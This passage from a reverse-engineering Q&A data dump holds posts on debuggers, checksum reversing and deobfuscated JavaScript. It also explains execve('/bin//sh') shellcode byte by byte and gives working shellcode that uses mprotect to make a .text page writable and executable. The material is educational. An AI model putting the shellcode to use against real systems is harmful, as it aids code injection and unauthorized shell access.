&lt;code&gt;edx&lt;/code&gt; for later.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\x6a\x0b&quot;              // push $0xb&#xA;&quot;\x58&quot;                  // pop  %eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;puts &lt;code&gt;execv&lt;/code&gt; code (&lt;code&gt;0xb&lt;/code&gt;) into &lt;code&gt;eax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\x52&quot;                  // push %edx        -&amp;gt; NULL&#xA;&quot;\x68\x2f\x2f\x73\x68&quot;  // push $0x68732f2f -&amp;gt; hs//&#xA;&quot;\x68\x2f\x62\x69\x6e&quot;  // push $0x6e69622f -&amp;gt; nib/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since &lt;code&gt;edx&lt;/code&gt; was cleared as the first instruction this puts &lt;code&gt;/bin//sh\0&lt;/code&gt; on the stack and the next instruction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\x89\xe3&quot;              // mov  %esp, %ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;put the address of the top of the stack into &lt;code&gt;ebx&lt;/code&gt; -&gt; &lt;code&gt;execv&lt;/code&gt; expects there the first argument.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\x52&quot;                  // push %edx&#xA;&quot;\x53&quot;                  // push %ebx&#xA;&quot;\x89\xe1&quot;              // mov  %esp, %ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this puts &lt;code&gt;NULL&lt;/code&gt; + the address of the same string again on the stack and one more time assigning the address of the top of the stack to &lt;code&gt;ecx&lt;/code&gt; where is expected to be &#xA;arguments. 'edx' was set to zero so it is like that being passed to &lt;code&gt;execv&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this is assuming that &lt;code&gt;esi&lt;/code&gt; is/was cleared.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-12-01T14:39:22.920" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20024" PostTypeId="1" CreationDate="2018-12-01T14:46:14.847" Score="2" ViewCount="1019" Body="&lt;p&gt;I want to modify the protection of the .text segment to RWX using a shellcode. In the shellcode, I can issue the syscall for mprotect however it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per the sys_mprotect definition, it takes the parameters as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rdi -&amp;gt; start_address&#xA;rsi -&amp;gt; length&#xA;rdx -&amp;gt; protection&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I have corrected the parameters above. The issue is not related to the parameter sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, I'm issuing the syscall as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push 0xA&#xA;pop rax&#xA;push 0x7&#xA;pop rdx&#xA;mov rdi, start_address&#xA;mov rsi, 0x1000&#xA;syscall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the time of syscall, I verified that the registers are set properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;start_address points to the main() subroutine inside the .text section which I want to modify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the syscall does not modify the protection to RWX after execution. I verified the protection by viewing segments in IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per the syscall_mprotect definition, the other registers don't have to be configured specifically for this syscall. So, I am not sure why this syscall is not working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I modified the start_address so that it's page aligned.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start_address = start_address - (start_address % 4096)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, syscall_mprotect does not return a negative value. It returns 0. However, the .text segment still doesn't show the writable flag.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastEditorUserId="2673" LastEditDate="2018-12-02T04:13:00.977" LastActivityDate="2020-05-25T09:07:55.780" Title="mprotect syscall not working" Tags="|linux|shellcode|syscall|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20025" PostTypeId="1" AcceptedAnswerId="20280" CreationDate="2018-12-01T15:04:51.690" Score="1" ViewCount="1528" Body="&lt;p&gt;I am looking to do some Data Flow Analysis via code. I have already the code that parses a binary and disassembles it (x86/x64) and creates Basic Blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what I would like to do is, for any Basic Block, analyze the effect of each instruction and compose all these effects to derive information&#xA;at basic block boundaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I would like to perform Variable Tracking and Live Variable Analysis. Last, CFG (Control Flow Graph) to see all these effects across basic blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any available C/C+ Lib or subset of any Open Source Project that can help me achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12793" LastEditorUserId="12793" LastEditDate="2019-01-04T14:23:19.563" LastActivityDate="2019-01-04T14:23:19.563" Title="Basic Blocks and Data Flow Analysis" Tags="|binary-analysis|control-flow-graph|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20026" PostTypeId="2" ParentId="20021" CreationDate="2018-12-01T15:15:19.037" Score="1" Body="&lt;p&gt;You can see the list of SEH Chain in the View tab -&gt; SEH Chain. Just set a breakpoint at the address of SEH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OCP9b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OCP9b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2018-12-01T15:15:19.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20027" PostTypeId="1" CreationDate="2018-12-01T15:36:13.123" Score="0" ViewCount="2315" Body="&lt;p&gt;I am using the Patch Program option of IDA Pro to edit the assembly of a binary at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I enter the following instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, [rsp + 0x48]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an &quot;Invalid operand&quot; error from IDA Pro. I tried changing the above instruction to different variants as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, [rsp + 48h]&#xA;mov rax, [rsp + 48]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it still gives me an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a valid assembly instruction. I can edit the assembly in other softwares like x64_dbg and it works with the above disassembly.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2018-12-01T15:36:13.123" Title="Assemble function of IDA Pro not working properly" Tags="|ida|patching|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20028" PostTypeId="2" ParentId="20024" CreationDate="2018-12-01T19:22:13.713" Score="1" Body="&lt;p&gt;Your parameters for &lt;code&gt;mprotect&lt;/code&gt; are not correct. Here's the correct order&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start: rdi&#xA;len:   rsi&#xA;prot:  rdx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The shellcode that works is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push 0xA&#xA;pop rax&#xA;push 0x7&#xA;pop rdx&#xA;call x&#xA;x:pop rdi&#xA;and rdi, 0xfffffffffffff000&#xA;mov rsi, 0x1000&#xA;syscall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;call x x: pop rdi&lt;/code&gt; is used to get the current &lt;code&gt;rip&lt;/code&gt;. Assuming the code is in &lt;code&gt;.text&lt;/code&gt; this should work.&#xA;Link for reference on syscalls &lt;a href=&quot;https://syscalls.kernelgrok.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86&lt;/a&gt; &lt;a href=&quot;http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-12-02T03:58:32.307" LastActivityDate="2018-12-02T03:58:32.307" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20030" PostTypeId="1" CreationDate="2018-12-01T20:23:40.650" Score="5" ViewCount="705" Body="&lt;p&gt;I am an advanced beginner in RFID/NFC reversing / hacking. For now, I have a mifare reader and I want to buy a better reader to able to perform advanced stuffs on both HF and LF (especially emulation and cloning).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read on multiple websites about the Proxmark3 evo and Proxmark3 rdv4. I am wondering what the differences are in terms of what I can do with the rdv4 that I can't with the Evo version.&lt;/p&gt;&#xA;" OwnerUserId="26581" LastEditorUserId="-1" LastEditDate="2019-09-19T05:41:33.783" LastActivityDate="2023-05-01T11:00:40.087" Title="Difference between Proxmark3 rdv4 &amp; Proxmark3 evo" Tags="|tools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20031" PostTypeId="2" ParentId="20004" CreationDate="2018-12-01T23:09:35.700" Score="14" Body="&lt;p&gt;Disclaimer: I am the main developer of x64dbg, take that into account :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say that the main difference between OllyDbg and x64dbg is that there is no 64 bit (os) support at all in OllyDbg. If you are working on a modern system I think x64dbg is a better choice because it was designed to work there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, x64dbg isn’t better in all aspects. One main difference is that OllyDbg has a very solid tracing system, whereas x64dbg has something, but still requires a lot of work. I am using x64dbg for my job, but I am familiar with the source code so I can make improvements as I need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another big difference is that you can contribute to x64dbg directly. Either by reporting bugs, or simply fixing them yourself. To me this is a big advantage, as many plugins for OllyDbg hook the internal functions to fix bugs or add features.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-12-01T23:09:35.700" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20033" PostTypeId="2" ParentId="20025" CreationDate="2018-12-02T08:27:39.843" Score="3" Body="&lt;p&gt;You could look at the radare project: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/radare/radare2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their ESIL representation of mnemonics can help you track down the access to variables, registers and even flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/disassembling/esil.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://radare.gitbooks.io/radare2book/content/disassembling/esil.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;code&gt;inc edi&lt;/code&gt; will result in &lt;code&gt;edi,++=,$o,of,=,$s,sf,=,$z,zf,=,$p,pf,=&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2772" LastEditorUserId="2959" LastEditDate="2018-12-02T11:29:43.380" LastActivityDate="2018-12-02T11:29:43.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20034" PostTypeId="1" CreationDate="2018-12-02T16:08:38.987" Score="1" ViewCount="293" Body="&lt;p&gt;Hello i am working with an app coded in c# which updates very often usually within 2-3 days or sometimes every 12 hours&#xA;The updates are really needed for the app to work&#xA;So i was wondering what can i use to patch the functions i want automatically&#xA;Been using dnspy for now but it is a big hassle doing the same thing every day&#xA;I am looking for suggestions, probabily dll injection or else&#xA;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the app uses an encrypted connection to comunicate with server, is it possible to create an app to hook/sniff the data in real time as i have the decryption key?&lt;/p&gt;&#xA;" OwnerUserId="26591" LastActivityDate="2018-12-02T16:08:38.987" Title="Patching an app that updates frequently" Tags="|patching|patch-reversing|c#|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20035" PostTypeId="1" CreationDate="2018-12-03T00:30:06.237" Score="2" ViewCount="1278" Body="&lt;p&gt;How can I view the XMM registers in IDA Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While debugging, I can only view the default registers and eflags. Is there a way to view the XMM registers, xmm0 to xmm7?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2018-12-03T00:30:06.237" Title="View XMM registers in IDA Pro while debugging" Tags="|ida|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20039" PostTypeId="1" CreationDate="2018-12-03T17:39:35.830" Score="1" ViewCount="320" Body="&lt;p&gt;I'm looking for a tool to reverse engineer a checksum character. Just something to brute force through most commonly used checksum char algorithms without the needing to implement every single one of them from scratch. The numbers I'm dealing with look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;929441812022112009904&#xA;929441812032118300109&#xA;929441812032118400109&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I will get some more samples)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the data breakdown (&lt;code&gt;929441812022112009904&lt;/code&gt;) is as follows:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;92944: vendor machine id  &lt;/li&gt;&#xA;&lt;li&gt;18: year  &lt;/li&gt;&#xA;&lt;li&gt;12: month  &lt;/li&gt;&#xA;&lt;li&gt;02: day  &lt;/li&gt;&#xA;&lt;li&gt;21120: &lt;em&gt;uid&lt;/em&gt;, incremental for each operation  &lt;/li&gt;&#xA;&lt;li&gt;0990: price (as in 09.90$, so capped at 99.99$)  &lt;/li&gt;&#xA;&lt;li&gt;4: checksum character&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The last two numbers threw me off a bit since they differ by 1 on the &lt;em&gt;uid&lt;/em&gt; number and have the same check digit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for all of the above numbers we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;92944|181202|21120|0990|4&#xA;92944|181203|21183|0010|9&#xA;92944|181203|21184|0010|9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26602" LastEditorUserId="245" LastEditDate="2018-12-03T21:07:32.613" LastActivityDate="2018-12-03T21:07:32.613" Title="Reverse engineering a bar code's check digit" Tags="|tools|hardware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20040" PostTypeId="2" ParentId="4746" CreationDate="2018-12-03T19:26:07.763" Score="1" Body="&lt;p&gt;Old question I know. I have installed DfuSe Demo Tool, available from ST website. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.st.com/en/development-tools/stsw-stm32080.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.st.com/en/development-tools/stsw-stm32080.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After installing this tool, install the driver that came with it, it is located in the installation directory of DfuSeDemo directory. Mine is in: &quot;C:\Program Files (x86)\STMicroelectronics\Software\DfuSe v3.0.6\Driver&quot; Update the driver in device manager and point to this directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also download (=upload) the current firmware with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XVEWG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XVEWG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26603" LastActivityDate="2018-12-03T19:26:07.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20042" PostTypeId="2" ParentId="4383" CreationDate="2018-12-03T20:53:53.090" Score="0" Body="&lt;p&gt;I saw such issue in following situations:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When you run &lt;code&gt;android_server&lt;/code&gt; as non-root user (without prior call to &lt;code&gt;su&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;When you run it with wrong working directory (as '/data/local/tmp/android_server&lt;code&gt;instead of&lt;/code&gt;cd /data/local/tmp/ &amp;amp;&amp;amp; ./android_server`).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, please make you sure that you do everything exactly in correct way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;su&#xA;cd /data/local/tmp&#xA;./android_server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise it may not work.&lt;/p&gt;&#xA;" OwnerUserId="18321" LastActivityDate="2018-12-03T20:53:53.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20047" PostTypeId="2" ParentId="4129" CreationDate="2018-12-04T19:18:46.953" Score="1" Body="&lt;p&gt;You can try &lt;a href=&quot;http://jsnice.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;jsnice&lt;/code&gt;&lt;/a&gt; which always does a fantastic job.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'use strict';&#xA;/**&#xA; * @param {!Object} value&#xA; * @param {string} s&#xA; * @param {string} name&#xA; * @return {?}&#xA; */&#xA;var f = function(value, s, name) {&#xA;  if (s = typeof value, &quot;object&quot; == s) {&#xA;    if (value) {&#xA;      if (value instanceof Array) {&#xA;        return &quot;array&quot;;&#xA;      }&#xA;      if (value instanceof Object) {&#xA;        return s;&#xA;      }&#xA;      if (name = Object.prototype.toString.call(value), &quot;[object Window]&quot; == name) {&#xA;        return &quot;object&quot;;&#xA;      }&#xA;      if (&quot;[object Array]&quot; == name || &quot;number&quot; == typeof value.length &amp;amp;&amp;amp; &quot;undefined&quot; != typeof value.splice &amp;amp;&amp;amp; &quot;undefined&quot; != typeof value.propertyIsEnumerable &amp;amp;&amp;amp; !value.propertyIsEnumerable(&quot;splice&quot;)) {&#xA;        return &quot;array&quot;;&#xA;      }&#xA;      if (&quot;[object Function]&quot; == name || &quot;undefined&quot; != typeof value.call &amp;amp;&amp;amp; &quot;undefined&quot; != typeof value.propertyIsEnumerable &amp;amp;&amp;amp; !value.propertyIsEnumerable(&quot;call&quot;)) {&#xA;        return &quot;function&quot;;&#xA;      }&#xA;    } else {&#xA;      return &quot;null&quot;;&#xA;    }&#xA;  } else {&#xA;    if (&quot;function&quot; == s &amp;amp;&amp;amp; &quot;undefined&quot; == typeof value.call) {&#xA;      return &quot;object&quot;;&#xA;    }&#xA;  }&#xA;  return s;&#xA;};&#xA;/**&#xA; * @param {string} n&#xA; * @param {string} v&#xA; * @param {string} d&#xA; * @param {!Object} a&#xA; * @param {string} i&#xA; * @return {undefined}&#xA; */&#xA;var n = function(n, v, d, a, i) {&#xA;  d = n.split(&quot;.&quot;);&#xA;  a = g;&#xA;  if (!(d[0] in a || !a.execScript)) {&#xA;    a.execScript(&quot;var &quot; + d[0]);&#xA;  }&#xA;  for (; d.length &amp;amp;&amp;amp; (i = d.shift());) {&#xA;    if (d.length || v === k) {&#xA;      a = a[i] ? a[i] : a[i] = {};&#xA;    } else {&#xA;      /** @type {string} */&#xA;      a[i] = v;&#xA;    }&#xA;  }&#xA;};&#xA;/** @type {function(): number} */&#xA;var p = Date.now || function() {&#xA;  return +new Date;&#xA;};&#xA;/** @type {!RegExp} */&#xA;var r = /&amp;amp;/g;&#xA;/** @type {!RegExp} */&#xA;var t = /&amp;lt;/g;&#xA;/** @type {!RegExp} */&#xA;var u = /&amp;gt;/g;&#xA;/** @type {!RegExp} */&#xA;var w = /&quot;/g;&#xA;/** @type {!RegExp} */&#xA;var x = /'/g;&#xA;var k = void 0;&#xA;/** @type {!global this} */&#xA;var g = this;&#xA;var z;&#xA;var A = &quot;&quot;.oa ? &quot;&quot;.ma() : &quot;&quot;;&#xA;/** @type {function(number, string, string, number, number, number): undefined} */&#xA;var E = (/[&amp;amp;&amp;lt;&amp;gt;&quot;']/.test(A) &amp;amp;&amp;amp; (-1 != A.indexOf(&quot;&amp;amp;&quot;) &amp;amp;&amp;amp; (A = A.replace(r, &quot;&amp;amp;amp;&quot;)), -1 != A.indexOf(&quot;&amp;lt;&quot;) &amp;amp;&amp;amp; (A = A.replace(t, &quot;&amp;amp;lt;&quot;)), -1 != A.indexOf(&quot;&amp;gt;&quot;) &amp;amp;&amp;amp; (A = A.replace(u, &quot;&amp;amp;gt;&quot;)), -1 != A.indexOf('&quot;') &amp;amp;&amp;amp; (A = A.replace(w, &quot;&amp;amp;quot;&quot;)), -1 != A.indexOf(&quot;'&quot;) &amp;amp;&amp;amp; (A = A.replace(x, &quot;&amp;amp;#39;&quot;))), new function() {&#xA;  p();&#xA;}, function(val, orig, c, len, i, d) {&#xA;  try {&#xA;    if (this.j = 2048, this.c = [], B(this, this.b, 0), B(this, this.l, 0), B(this, this.p, 0), B(this, this.h, []), B(this, this.d, []), B(this, this.H, &quot;object&quot; == typeof window ? window : g), B(this, this.I, this), B(this, this.r, 0), B(this, this.F, 0), B(this, this.G, 0), B(this, this.f, C(4)), B(this, this.o, []), B(this, this.k, {}), this.q = true, val &amp;amp;&amp;amp; &quot;,&quot; == val[0]) {&#xA;      /** @type {number} */&#xA;      this.m = val;&#xA;    } else {&#xA;      if (window.atob) {&#xA;        c = window.atob(val);&#xA;        /** @type {!Array} */&#xA;        val = [];&#xA;        /** @type {number} */&#xA;        i = len = 0;&#xA;        for (; i &amp;lt; c.length; i++) {&#xA;          d = c.charCodeAt(i);&#xA;          for (; 255 &amp;lt; d;) {&#xA;            /** @type {number} */&#xA;            val[len++] = d &amp;amp; 255;&#xA;            /** @type {number} */&#xA;            d = d &amp;gt;&amp;gt; 8;&#xA;          }&#xA;          /** @type {number} */&#xA;          val[len++] = d;&#xA;        }&#xA;        /** @type {number} */&#xA;        orig = val;&#xA;      } else {&#xA;        /** @type {null} */&#xA;        orig = null;&#xA;      }&#xA;      if ((this.e = orig) &amp;amp;&amp;amp; this.e.length) {&#xA;        /** @type {!Array} */&#xA;        this.K = [];&#xA;        this.s();&#xA;      } else {&#xA;        this.g(this.U);&#xA;      }&#xA;    }&#xA;  } catch (item) {&#xA;    D(this, item);&#xA;  }&#xA;});&#xA;/** @type {function(!Object, !Function, !NodeList, number, !NodeList, number): undefined} */&#xA;var G = (E.prototype.g = function(e, d, s, index) {&#xA;  index = this.a(this.l);&#xA;  /** @type {!Array} */&#xA;  e = [e, index &amp;gt;&amp;gt; 8 &amp;amp; 255, index &amp;amp; 255];&#xA;  if (s != k) {&#xA;    e.push(s);&#xA;  }&#xA;  if (0 == this.a(this.h).length) {&#xA;    this.c[this.h] = k;&#xA;    B(this, this.h, e);&#xA;  }&#xA;  /** @type {string} */&#xA;  s = &quot;&quot;;&#xA;  if (d) {&#xA;    if (d.message) {&#xA;      /** @type {string} */&#xA;      s = s + d.message;&#xA;    }&#xA;    if (d.stack) {&#xA;      /** @type {string} */&#xA;      s = s + (&quot;:&quot; + d.stack);&#xA;    }&#xA;  }&#xA;  if (3 &amp;lt; this.j) {&#xA;    /** @type {string} */&#xA;    s = s.slice(0, this.j - 3);&#xA;    this.j -= s.length + 3;&#xA;    s = F(s);&#xA;    G(this, this.f, H(s.length, 2).concat(s), this.$);&#xA;  }&#xA;}, function(data, type, b, len, c, p) {&#xA;  c = data.a(type);&#xA;  /** @type {!Function} */&#xA;  type = type == data.f ? function(b, j, x, d) {&#xA;    if (j = c.length, x = j - 4 &amp;gt;&amp;gt; 3, c.ba != x) {&#xA;      /** @type {number} */&#xA;      c.ba = x;&#xA;      /** @type {number} */&#xA;      x = (x &amp;lt;&amp;lt; 3) - 4;&#xA;      /** @type {!Array} */&#xA;      d = [0, 0, 0, data.a(data.G)];&#xA;      try {&#xA;        c.aa = I(J(c, x), J(c, x + 4), d);&#xA;      } catch (s) {&#xA;        throw s;&#xA;      }&#xA;    }&#xA;    c.push(c.aa[j &amp;amp; 7] ^ b);&#xA;  } : function(block) {&#xA;    c.push(block);&#xA;  };&#xA;  if (len) {&#xA;    type(len &amp;amp; 255);&#xA;  }&#xA;  len = b.length;&#xA;  /** @type {number} */&#xA;  p = 0;&#xA;  for (; p &amp;lt; len; p++) {&#xA;    type(b[p]);&#xA;  }&#xA;});&#xA;/**&#xA; * @param {!Array} value&#xA; * @param {string} b&#xA; * @param {!Function} x&#xA; * @param {!Function} v&#xA; * @param {!Object} self&#xA; * @param {string} root&#xA; * @param {string} string&#xA; * @param {!Array} n&#xA; * @param {string} fn&#xA; * @return {?}&#xA; */&#xA;var K = function(value, b, x, v, self, root, string, n, fn) {&#xA;  return x = function(o, a, f) {&#xA;    o = v[self.D];&#xA;    /** @type {boolean} */&#xA;    a = o === b;&#xA;    o = o &amp;amp;&amp;amp; o[self.D];&#xA;    /** @type {number} */&#xA;    f = 0;&#xA;    for (; o &amp;amp;&amp;amp; o != root &amp;amp;&amp;amp; o != string &amp;amp;&amp;amp; o != n &amp;amp;&amp;amp; o != fn &amp;amp;&amp;amp; 20 &amp;gt; f;) {&#xA;      f++;&#xA;      o = o[self.D];&#xA;    }&#xA;    return x[self.ga + a + !(!o + (f &amp;gt;&amp;gt; 2))];&#xA;  }, v = function() {&#xA;    return x();&#xA;  }, self = E.prototype, root = self.s, string = self.Q, fn = self.g, n = E, v[self.J] = self, x[self.fa] = value, value = k, v;&#xA;};&#xA;/**&#xA; * @param {!Object} data&#xA; * @param {string} key&#xA; * @param {!Array} options&#xA; * @return {?}&#xA; */&#xA;var L = function(data, key, options) {&#xA;  if (key = data.a(data.b), !(key in data.e)) {&#xA;    throw data.g(data.Y), data.u;&#xA;  }&#xA;  return data.t == k &amp;amp;&amp;amp; (data.t = J(data.e, key - 4), data.B = k), data.B != key &amp;gt;&amp;gt; 3 &amp;amp;&amp;amp; (data.B = key &amp;gt;&amp;gt; 3, options = [0, 0, 0, data.a(data.p)], data.Z = I(data.t, data.B, options)), B(data, data.b, key + 1), data.e[key] ^ data.Z[key % 8];&#xA;};&#xA;/**&#xA; * @param {string} a&#xA; * @param {!Object} b&#xA; * @param {number} i&#xA; * @param {number} n&#xA; * @param {number} c&#xA; * @return {?}&#xA; */&#xA;var F = function(a, b, i, n, c) {&#xA;  a = a.replace(/\\r\\n/g, &quot;\\n&quot;);&#xA;  /** @type {!Array} */&#xA;  b = [];&#xA;  /** @type {number} */&#xA;  n = i = 0;&#xA;  for (; n &amp;lt; a.length; n++) {&#xA;    c = a.charCodeAt(n);&#xA;    if (128 &amp;gt; c) {&#xA;      /** @type {number} */&#xA;      b[i++] = c;&#xA;    } else {&#xA;      if (2048 &amp;gt; c) {&#xA;        /** @type {number} */&#xA;        b[i++] = c &amp;gt;&amp;gt; 6 | 192;&#xA;      } else {&#xA;        /** @type {number} */&#xA;        b[i++] = c &amp;gt;&amp;gt; 12 | 224;&#xA;        /** @type {number} */&#xA;        b[i++] = c &amp;gt;&amp;gt; 6 &amp;amp; 63 | 128;&#xA;      }&#xA;      /** @type {number} */&#xA;      b[i++] = c &amp;amp; 63 | 128;&#xA;    }&#xA;  }&#xA;  return b;&#xA;};&#xA;/**&#xA; * @param {!Object} a&#xA; * @param {!Function} b&#xA; * @param {?} c&#xA; * @return {undefined}&#xA; */&#xA;var B = function(a, b, c) {&#xA;  if (b == a.b || b == a.l) {&#xA;    if (a.c[b]) {&#xA;      a.c[b].V(c);&#xA;    } else {&#xA;      a.c[b] = M(c);&#xA;    }&#xA;  } else {&#xA;    if (b != a.d &amp;amp;&amp;amp; b != a.f &amp;amp;&amp;amp; b != a.h || !a.c[b]) {&#xA;      a.c[b] = K(c, a.a);&#xA;    }&#xA;  }&#xA;  if (b == a.p) {&#xA;    a.t = k;&#xA;    B(a, a.b, a.a(a.b) + 4);&#xA;  }&#xA;};&#xA;/**&#xA; * @param {number} b&#xA; * @param {number} c&#xA; * @param {!Array} d&#xA; * @param {number} a&#xA; * @return {?}&#xA; */&#xA;var I = function(b, c, d, a) {&#xA;  try {&#xA;    /** @type {number} */&#xA;    a = 0;&#xA;    for (; 76138654016 != a;) {&#xA;      b = b + ((c &amp;lt;&amp;lt; 4 ^ c &amp;gt;&amp;gt;&amp;gt; 5) + c ^ a + d[a &amp;amp; 3]);&#xA;      /** @type {number} */&#xA;      a = a + 2379332938;&#xA;      c = c + ((b &amp;lt;&amp;lt; 4 ^ b &amp;gt;&amp;gt;&amp;gt; 5) + b ^ a + d[a &amp;gt;&amp;gt;&amp;gt; 11 &amp;amp; 3]);&#xA;    }&#xA;    return [b &amp;gt;&amp;gt;&amp;gt; 24, b &amp;gt;&amp;gt; 16 &amp;amp; 255, b 